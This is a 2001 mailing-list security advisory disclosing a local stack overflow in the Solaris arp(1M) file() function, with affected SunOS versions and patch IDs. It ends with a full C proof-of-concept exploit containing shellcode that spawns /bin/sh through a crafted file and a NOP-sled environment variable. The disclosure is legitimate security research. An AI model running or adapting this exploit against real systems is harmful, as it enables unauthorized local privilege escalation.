Date: Thu, 11 Jan 2001 18:15:05 -0300
From: Sor Pablo Sebastian <[email protected]>
To: [email protected]Subject: Solaris Arp Vulnerability
Vulnerability in Solaris arp(1M)
Date Published: November 28, 2000
Advisory ID: N/A
Bugtraq ID: N/A
CVE CAN: Non currently assigned.
Title: Solaris arp(1M) Buffer Overflow Vulnerability
Class: Boundary Error Condition
Remotely Exploitable: No
Locally Exploitable: Yes
Vulnerability Description:
The stack overflow is in arp's file() function, which reads the data in
from the supplied file. The overflow itself is a result of using sscanf
to split up the file data. In a typical buffer overflow fashion,
file()'s return address is overwritten with part of the supplied string.
Vulnerable Packages/Systems:
SunOS 5.7
SunOS 5.7_x86
SunOS 5.6
SunOS 5.6_x86
SunOS 5.5.1
SunOS 5.5.1_x86
SunOS 5.5
SunOS 5.5_x86
SunOS 5.4
SunOS 5.4_x86
Solution/Vendor Information/Workaround:
The following patches are available in relation to the above problem.
OS Version Patch ID
__________ _________
SunOS 5.7 109709-01
SunOS 5.7_x86 109710-01
SunOS 5.6 109719-01
SunOS 5.6_x86 109720-01
SunOS 5.5.1 109721-01
SunOS 5.5.1_x86 109722-01
SunOS 5.5 109707-01
SunOS 5.5_x86 109708-01
SunOS 5.4 109723-01
SunOS 5.4_x86 109724-01
Vendor notified on: November 28, 2000
Credits:
This vulnerability was discovered by Pablo Sor, Buenos Aires, Argentina.
Special thanks to Dave Ahmed from SecurityFocus for his meticulous help.
This advisory was drafted with the help of the SecurityFocus.com
Vulnerability Help Team.
For more information or assistance drafting advisories please mail
[email protected].
Technical Description - Exploit/Concept Code:
#include <fcntl.h>
/* arpexp.c
arp overflow proof of concept by [email protected]
tested on x86 solaris 7,8beta
default should work. if not, arg1 = offset. +- by 100's
Copyright Security-Focus.com, 11/2000
*/
long get_esp() { __asm__("movl %esp,%eax"); }
int main(int ac, char **av)
{
char shell[] = "\xeb\x45\x9a\xff\xff\xff\xff\x07\xff"
"\xc3\x5e\x31\xc0\x89\x46\xb7\x88\x46"
"\xbc\x88\x46\x07\x89\x46\x0c\x31\xc0"
"\xb0\x2f\xe8\xe0\xff\xff\xff\x52\x52"
"\x31\xc0\xb0\xcb\xe8\xd5\xff\xff\xff"
"\x83\xc4\x08\x31\xc0\x50\x8d\x5e\x08"
"\x53\x8d\x1e\x89\x5e\x08\x53\xb0\x3b"
"\xe8\xbe\xff\xff\xff\x83\xc4\x0c\xe8"
"\xbe\xff\xff\xff\x2f\x62\x69\x6e\x2f"
"\x73\x68\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff";
unsigned long magic = 0x8047b78;
unsigned long r = get_esp() + 600;
unsigned char buf[300];
int f;
if (ac == 2)
r += atoi(av[1]);
memset(buf,0x61,sizeof(buf));
memcpy(buf+52,&magic,4);
memcpy(buf+76,&r,4);
f = open("/tmp/ypx",O_CREAT|O_WRONLY,0600);
write(f,"1 2 3 4 ",8);
write(f,buf,sizeof(buf));
close(f);
memset(buf,0x90,sizeof(buf));
memcpy(buf,"LOL=",4);
memcpy(buf+(sizeof(buf)-strlen(shell)),shell,strlen(shell));
putenv(buf);
system("/usr/sbin/arp -f /tmp/ypx");
unlink("/tmp/ypx");
}
